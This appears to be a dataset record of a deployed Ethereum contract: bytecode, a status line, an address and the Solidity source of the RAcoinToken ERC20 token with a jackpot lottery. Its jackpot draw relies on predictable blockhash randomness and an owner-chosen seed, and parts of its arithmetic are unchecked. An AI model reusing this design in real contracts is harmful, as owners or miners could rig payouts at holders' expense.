b7565b604051808215151515815260200191505060405180910390f35b6107f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061179d565b604051808215151515815260200191505060405180910390f35b34801561081d57600080fd5b5061085c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611883565b604051808215151515815260200191505060405180910390f35b34801561088257600080fd5b506108d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a7f565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109835780601f1061095857610100808354040283529160200191610983565b820191906000526020600020905b81548152906001019060200180831161096657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ac457600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b1157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b9c57600080fd5b610bed826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c80826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d5182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60055481565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610e8457600080fd5b610e8e84846113b0565b508373ffffffffffffffffffffffffffffffffffffffff16348360405180828051906020019080838360005b83811015610ed5578082015181840152602081019050610eba565b50505050905090810190601f168015610f025780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af1925050501515610f2257600080fd5b600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611064576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110f8565b6110778382611b0690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561126957600080fd5b6112738484611883565b508373ffffffffffffffffffffffffffffffffffffffff16348360405180828051906020019080838360005b838110156112ba57808201518184015260208101905061129f565b50505050905090810190601f1680156112e75780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af192505050151561130757600080fd5b600190509392505050565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113a85780601f1061137d576101008083540402835291602001916113a8565b820191906000526020600020905b81548152906001019060200180831161138b57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156113ed57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561143a57600080fd5b61148b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061151e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561160c57600080fd5b611617858585610a87565b508373ffffffffffffffffffffffffffffffffffffffff16348360405180828051906020019080838360005b8381101561165e578082015181840152602081019050611643565b50505050905090810190601f16801561168b5780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af19250505015156116ab57600080fd5b60019050949350505050565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156116f457600080fd5b6116fe848461098b565b508373ffffffffffffffffffffffffffffffffffffffff16348360405180828051906020019080838360005b8381101561174557808201518184015260208101905061172a565b50505050905090810190601f1680156117725780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af192505050151561179257600080fd5b600190509392505050565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156117da57600080fd5b6117e48484610f53565b508373ffffffffffffffffffffffffffffffffffffffff16348360405180828051906020019080838360005b8381101561182b578082015181840152602081019050611810565b50505050905090810190601f1680156118585780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af192505050151561187857600080fd5b600190509392505050565b600061191482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000828211151515611b1457fe5b818303905092915050565b60008183019050828110151515611b3257fe5b809050929150505600a165627a7a7230582033895d72f0ade4f72869b942301419c4fe74104e8e92c1d156d806e1148cfe570029
|
{"success": true, "error": null, "results": {}}
| 6,202 |
0x12d618a6f26105efb017ddd360c05d8aed4b00f9
|
pragma solidity ^0.4.23;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title Ownable
* The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
// The Ownable constructor sets the original `owner`
// of the contract to the sender account.
constructor() public {
owner = msg.sender;
}
// Throw if called by any account other than the current owner
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Allow the current owner to transfer control of the contract to a newOwner
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract RAcoinToken is Ownable, ERC20Interface {
string public constant symbol = "RAC";
string public constant name = "RAcoinToken";
uint private _totalSupply;
uint public constant decimals = 18;
uint private unmintedTokens = 20000000000*uint(10)**decimals;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
//Struct to hold lockup records
struct LockupRecord {
uint amount;
uint unlockTime;
}
// Balances for each account
mapping(address => uint) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint)) allowed;
// Balances for lockup accounts
mapping(address => LockupRecord)balancesLockup;
/**
====== JACKPOT IMPLEMENTATION ======
*/
// Percentage for jackpot reserving during tokens transfer
uint public reservingPercentage = 1;
// Minimum amount of jackpot, before reaching it jackpot cannot be distributed.
// Default value is 100,000 RAC
uint public jackpotMinimumAmount = 100000 * uint(10)**decimals;
// reservingStep is used for calculating how many times a user will be added to jackpot participants list:
// times user will be added to jackpotParticipants list = transfer amount / reservingStep
// the more user transfer tokens using transferWithReserving function the more times he will be added and,
// as a result, more chances to win the jackpot. Default value is 10,000 RAC
uint public reservingStep = 10000 * uint(10)**decimals;
// The seed is used each time Jackpot is distributing for generating a random number.
// First seed has some value, after the every turn of the jackpot distribution will be changed
uint private seed = 1; // Default seed
// The maximum allowed times when jackpot amount and distribution time will be set by owner,
// Used only for token sale jackpot distribution
int public maxAllowedManualDistribution = 111;
// Either or not clear the jackpot participants list after the Jackpot distribution
bool public clearJackpotParticipantsAfterDistribution = false;
// Variable that holds last actual index of jackpotParticipants collection
uint private index = 0;
// The list with Jackpot participants. The more times address is in the list, the more chances to win the Jackpot
address[] private jackpotParticipants;
event SetReservingPercentage(uint _value);
event SetReservingStep(uint _value);
event SetJackpotMinimumAmount(uint _value);
event AddAddressToJackpotParticipants(address indexed _sender, uint _times);
//Setting the reservingPercentage value, allowed only for owner
function setReservingPercentage(uint _value) public onlyOwner returns (bool success) {
assert(_value > 0 && _value < 100);
reservingPercentage = _value;
emit SetReservingPercentage(_value);
return true;
}
//Setting the reservingStep value, allowed only for owner
function setReservingStep(uint _value) public onlyOwner returns (bool success) {
assert(_value > 0);
reservingStep = _value;
emit SetReservingStep(_value);
return true;
}
//Setting the setJackpotMinimumAmount value, allowed only for owner
function setJackpotMinimumAmount(uint _value) public onlyOwner returns (bool success) {
jackpotMinimumAmount = _value;
emit SetJackpotMinimumAmount(_value);
return true;
}
//Setting the clearJackpotParticipantsAfterDistribution value, allowed only for owner
function setPoliticsForJackpotParticipantsList(bool _clearAfterDistribution) public onlyOwner returns (bool success) {
clearJackpotParticipantsAfterDistribution = _clearAfterDistribution;
return true;
}
// Empty the jackpot participants list
function clearJackpotParticipants() public onlyOwner returns (bool success) {
index = 0;
return true;
}
// Using this function a user transfers tokens and participates in operating jackpot
// User sets the total transfer amount that includes the Jackpot reserving deposit
function transferWithReserving(address _to, uint _totalTransfer) public returns (bool success) {
uint netTransfer = _totalTransfer * (100 - reservingPercentage) / 100;
require(balances[msg.sender] >= _totalTransfer && (_totalTransfer > netTransfer));
if (transferMain(msg.sender, _to, netTransfer) && (_totalTransfer >= reservingStep)) {
processJackpotDeposit(_totalTransfer, netTransfer, msg.sender);
}
return true;
}
// Using this function a user transfers tokens and participates in operating jackpot
// User sets the net value of transfer without the Jackpot reserving deposit amount
function transferWithReservingNet(address _to, uint _netTransfer) public returns (bool success) {
uint totalTransfer = _netTransfer * (100 + reservingPercentage) / 100;
require(balances[msg.sender] >= totalTransfer && (totalTransfer > _netTransfer));
if (transferMain(msg.sender, _to, _netTransfer) && (totalTransfer >= reservingStep)) {
processJackpotDeposit(totalTransfer, _netTransfer, msg.sender);
}
return true;
}
// Using this function a spender transfers tokens and make an owner of funds a participant of the operating Jackpot
// User sets the total transfer amount that includes the Jackpot reserving deposit
function transferFromWithReserving(address _from, address _to, uint _totalTransfer) public returns (bool success) {
uint netTransfer = _totalTransfer * (100 - reservingPercentage) / 100;
require(balances[_from] >= _totalTransfer && (_totalTransfer > netTransfer));
if (transferFrom(_from, _to, netTransfer) && (_totalTransfer >= reservingStep)) {
processJackpotDeposit(_totalTransfer, netTransfer, _from);
}
return true;
}
// Using this function a spender transfers tokens and make an owner of funds a participatants of the operating Jackpot
// User set the net value of transfer without the Jackpot reserving deposit amount
function transferFromWithReservingNet(address _from, address _to, uint _netTransfer) public returns (bool success) {
uint totalTransfer = _netTransfer * (100 + reservingPercentage) / 100;
require(balances[_from] >= totalTransfer && (totalTransfer > _netTransfer));
if (transferFrom(_from, _to, _netTransfer) && (totalTransfer >= reservingStep)) {
processJackpotDeposit(totalTransfer, _netTransfer, _from);
}
return true;
}
// Withdraw deposit of Jackpot amount and add address to Jackpot Participants List according to transaction amount
function processJackpotDeposit(uint _totalTransfer, uint _netTransfer, address _participant) private returns (bool success) {
addAddressToJackpotParticipants(_participant, _totalTransfer);
uint jackpotDeposit = _totalTransfer - _netTransfer;
balances[_participant] -= jackpotDeposit;
balances[0] += jackpotDeposit;
emit Transfer(_participant, 0, jackpotDeposit);
return true;
}
// Add address to Jackpot Participants List
function addAddressToJackpotParticipants(address _participant, uint _transactionAmount) private returns (bool success) {
uint timesToAdd = _transactionAmount / reservingStep;
for (uint i = 0; i < timesToAdd; i++){
if(index == jackpotParticipants.length) {
jackpotParticipants.length += 1;
}
jackpotParticipants[index++] = _participant;
}
emit AddAddressToJackpotParticipants(_participant, timesToAdd);
return true;
}
// Distribute jackpot. For finding a winner we use random number that is produced by multiplying a previous seed
// received from previous jackpot distribution and casted to uint last available block hash.
// Remainder from the received random number and total number of participants will give an index of a winner in the Jackpot participants list
function distributeJackpot(uint _nextSeed) public onlyOwner returns (bool success) {
assert(balances[0] >= jackpotMinimumAmount);
assert(_nextSeed > 0);
uint additionalSeed = uint(blockhash(block.number - 1));
uint rnd = 0;
while(rnd < index) {
rnd += additionalSeed * seed;
}
uint winner = rnd % index;
balances[jackpotParticipants[winner]] += balances[0];
emit Transfer(0, jackpotParticipants[winner], balances[0]);
balances[0] = 0;
seed = _nextSeed;
if (clearJackpotParticipantsAfterDistribution) {
clearJackpotParticipants();
}
return true;
}
// Distribute Token Sale Jackpot by minting token sale jackpot directly to 0x0 address and calling distributeJackpot function
function distributeTokenSaleJackpot(uint _nextSeed, uint _amount) public onlyOwner returns (bool success) {
require (maxAllowedManualDistribution > 0);
if (mintTokens(0, _amount) && distributeJackpot(_nextSeed)) {
maxAllowedManualDistribution--;
}
return true;
}
/**
====== ERC20 IMPLEMENTATION ======
*/
// Return total supply of tokens including locked-up funds and current Jackpot deposit
function totalSupply() public view returns (uint) {
return _totalSupply;
}
// Get the balance of the specified address
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
// Transfer token to a specified address
function transfer(address _to, uint _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
return transferMain(msg.sender, _to, _value);
}
// Transfer tokens from one address to another
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require(balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
if (transferMain(_from, _to, _value)){
allowed[_from][msg.sender] -= _value;
return true;
} else {
return false;
}
}
// Main transfer function. Checking of balances is made in calling function
function transferMain(address _from, address _to, uint _value) private returns (bool success) {
require(_to != address(0));
assert(balances[_to] + _value >= balances[_to]);
balances[_from] -= _value;
balances[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
// Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
function approve(address _spender, uint _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// Function to check the amount of tokens than an owner allowed to a spender
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowed[_owner][_spender];
}
/**
====== LOCK-UP IMPLEMENTATION ======
*/
function unlockOwnFunds() public returns (bool success) {
return unlockFunds(msg.sender);
}
function unlockSupervisedFunds(address _from) public onlyOwner returns (bool success) {
return unlockFunds(_from);
}
function unlockFunds(address _owner) private returns (bool success) {
require(balancesLockup[_owner].unlockTime < now && balancesLockup[_owner].amount > 0);
balances[_owner] += balancesLockup[_owner].amount;
emit Transfer(_owner, _owner, balancesLockup[_owner].amount);
balancesLockup[_owner].amount = 0;
return true;
}
function balanceOfLockup(address _owner) public view returns (uint balance, uint unlockTime) {
return (balancesLockup[_owner].amount, balancesLockup[_owner].unlockTime);
}
/**
====== TOKENS MINTING IMPLEMENTATION ======
*/
// Mint RAcoin tokens. No more than 20,000,000,000 RAC can be minted
function mintTokens(address _target, uint _mintedAmount) public onlyOwner returns (bool success) {
require(_mintedAmount <= unmintedTokens);
balances[_target] += _mintedAmount;
unmintedTokens -= _mintedAmount;
_totalSupply += _mintedAmount;
emit Transfer(1, _target, _mintedAmount);
return true;
}
// Mint RAcoin locked-up tokens
// Using different types of minting functions has no effect on total limit of 20,000,000,000 RAC that can be created
function mintLockupTokens(address _target, uint _mintedAmount, uint _unlockTime) public onlyOwner returns (bool success) {
require(_mintedAmount <= unmintedTokens);
balancesLockup[_target].amount += _mintedAmount;
balancesLockup[_target].unlockTime = _unlockTime;
unmintedTokens -= _mintedAmount;
_totalSupply += _mintedAmount;
emit Transfer(1, _target, _mintedAmount); //TODO
return true;
}
// Mint RAcoin tokens for token sale participants and add them to Jackpot list
// Using different types of minting functions has no effect on total limit of 20,000,000,000 RAC that can be created
function mintTokensWithIncludingInJackpot(address _target, uint _mintedAmount) public onlyOwner returns (bool success) {
require(maxAllowedManualDistribution > 0);
if (mintTokens(_target, _mintedAmount)) {
addAddressToJackpotParticipants(_target, _mintedAmount);
}
return true;
}
// Mint RAcoin tokens and approve the passed address to spend the minted amount of tokens
// Using different types of minting functions has no effect on total limit of 20,000,000,000 RAC that can be created
function mintTokensWithApproval(address _target, uint _mintedAmount, address _spender) public onlyOwner returns (bool success) {
require(_mintedAmount <= unmintedTokens);
balances[_target] += _mintedAmount;
unmintedTokens -= _mintedAmount;
_totalSupply += _mintedAmount;
allowed[_target][_spender] += _mintedAmount;
emit Transfer(1, _target, _mintedAmount);
return true;
}
// After firing this function no more tokens can be created
function stopTokenMinting() public onlyOwner returns (bool success) {
unmintedTokens = 0;
return true;
}
}
|
0x6080604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101bc578063095ea7b31461024c57806311191186146102b157806318160ddd146102f657806318501714146103215780631b6ad60a1461035057806323b872dd146103d5578063313ce5671461045a5780633e2d7de11461048557806343e92866146104ea57806356cb6655146105155780635caabecf146105445780635fe745ea146105c95780636da28481146105f857806370a082311461065657806371bad4d8146106ad57806371f6fb88146106d8578063750e75d51461073d57806388275b68146107825780638a17164c146107f15780638da5cb5b1461084057806391fe7bab1461089757806395d89b411461091c578063967826df146109ac578063a1920f36146109d7578063a87ebcb514610a02578063a9059cbb14610a47578063be395cd514610aac578063ce23003014610af3578063dd62ed3e14610b4e578063e3ec066614610bc5578063e92e4d6314610bf4578063f0dda65c14610c39578063f2fde38b14610c9e578063f4a011be14610ce1575b600080fd5b3480156101c857600080fd5b506101d1610d46565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102115780820151818401526020810190506101f6565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025857600080fd5b50610297600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d7f565b604051808215151515815260200191505060405180910390f35b3480156102bd57600080fd5b506102dc60048036038101908080359060200190929190505050610e71565b604051808215151515815260200191505060405180910390f35b34801561030257600080fd5b5061030b610f2d565b6040518082815260200191505060405180910390f35b34801561032d57600080fd5b50610336610f37565b604051808215151515815260200191505060405180910390f35b34801561035c57600080fd5b506103bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f4a565b604051808215151515815260200191505060405180910390f35b3480156103e157600080fd5b50610440600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ff3565b604051808215151515815260200191505060405180910390f35b34801561046657600080fd5b5061046f61117d565b6040518082815260200191505060405180910390f35b34801561049157600080fd5b506104d0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611182565b604051808215151515815260200191505060405180910390f35b3480156104f657600080fd5b506104ff611215565b6040518082815260200191505060405180910390f35b34801561052157600080fd5b5061052a61121b565b604051808215151515815260200191505060405180910390f35b34801561055057600080fd5b506105af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611287565b604051808215151515815260200191505060405180910390f35b3480156105d557600080fd5b506105de611330565b604051808215151515815260200191505060405180910390f35b34801561060457600080fd5b50610639600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611340565b604051808381526020018281526020019250505060405180910390f35b34801561066257600080fd5b50610697600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113d2565b6040518082815260200191505060405180910390f35b3480156106b957600080fd5b506106c261141b565b6040518082815260200191505060405180910390f35b3480156106e457600080fd5b50610723600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611421565b604051808215151515815260200191505060405180910390f35b34801561074957600080fd5b50610768600480360381019080803590602001909291905050506114c9565b604051808215151515815260200191505060405180910390f35b34801561078e57600080fd5b506107d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611767565b604051808215151515815260200191505060405180910390f35b3480156107fd57600080fd5b5061082660048036038101908080359060200190929190803590602001909291905050506118e7565b604051808215151515815260200191505060405180910390f35b34801561084c57600080fd5b50610855611994565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108a357600080fd5b50610902600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119b9565b604051808215151515815260200191505060405180910390f35b34801561092857600080fd5b50610931611b79565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610971578082015181840152602081019050610956565b50505050905090810190601f16801561099e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156109b857600080fd5b506109c1611bb2565b6040518082815260200191505060405180910390f35b3480156109e357600080fd5b506109ec611bb8565b6040518082815260200191505060405180910390f35b348015610a0e57600080fd5b50610a2d60048036038101908080359060200190929190505050611bbe565b604051808215151515815260200191505060405180910390f35b348015610a5357600080fd5b50610a92600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c62565b604051808215151515815260200191505060405180910390f35b348015610ab857600080fd5b50610ad9600480360381019080803515159060200190929190505050611cc5565b604051808215151515815260200191505060405180910390f35b348015610aff57600080fd5b50610b34600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d45565b604051808215151515815260200191505060405180910390f35b348015610b5a57600080fd5b50610baf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611db2565b6040518082815260200191505060405180910390f35b348015610bd157600080fd5b50610bda611e39565b604051808215151515815260200191505060405180910390f35b348015610c0057600080fd5b50610c1f60048036038101908080359060200190929190505050611ea5565b604051808215151515815260200191505060405180910390f35b348015610c4557600080fd5b50610c84600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f55565b604051808215151515815260200191505060405180910390f35b348015610caa57600080fd5b50610cdf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061208a565b005b348015610ced57600080fd5b50610d2c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612164565b604051808215151515815260200191505060405180910390f35b6040805190810160405280600b81526020017f5241636f696e546f6b656e00000000000000000000000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ece57600080fd5b600082118015610ede5750606482105b1515610ee657fe5b816006819055507fb2151209c009c165190c429eac860a3c1bca09ff540b200da0b67313834b7352826040518082815260200191505060405180910390a160019050919050565b6000600154905090565b600b60009054906101000a900460ff1681565b60008060646006546064038402811515610f6057fe5b04905082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610fb157508083115b1515610fbc57600080fd5b610fc7858583610ff3565b8015610fd557506008548310155b15610fe757610fe583828761220c565b505b60019150509392505050565b600081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561104357600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156110ce57600080fd5b6110d98484846122ff565b156111715781600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060019050611176565b600090505b9392505050565b601281565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111df57600080fd5b6000600a541315156111f057600080fd5b6111fa8383611f55565b1561120b5761120983836124d2565b505b6001905092915050565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561127857600080fd5b60006002819055506001905090565b6000806064600654606401840281151561129d57fe5b04905080600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156112ee57508281115b15156112f957600080fd5b611304858585610ff3565b801561131257506008548110155b156113245761132281848761220c565b505b60019150509392505050565b600061133b336125ec565b905090565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015491509150915091565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b6000806064600654606401840281151561143757fe5b04905080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561148857508281115b151561149357600080fd5b61149e3385856122ff565b80156114ac57506008548110155b156114be576114bc81843361220c565b505b600191505092915050565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373fffffffffffffffffffffffffffffffffffff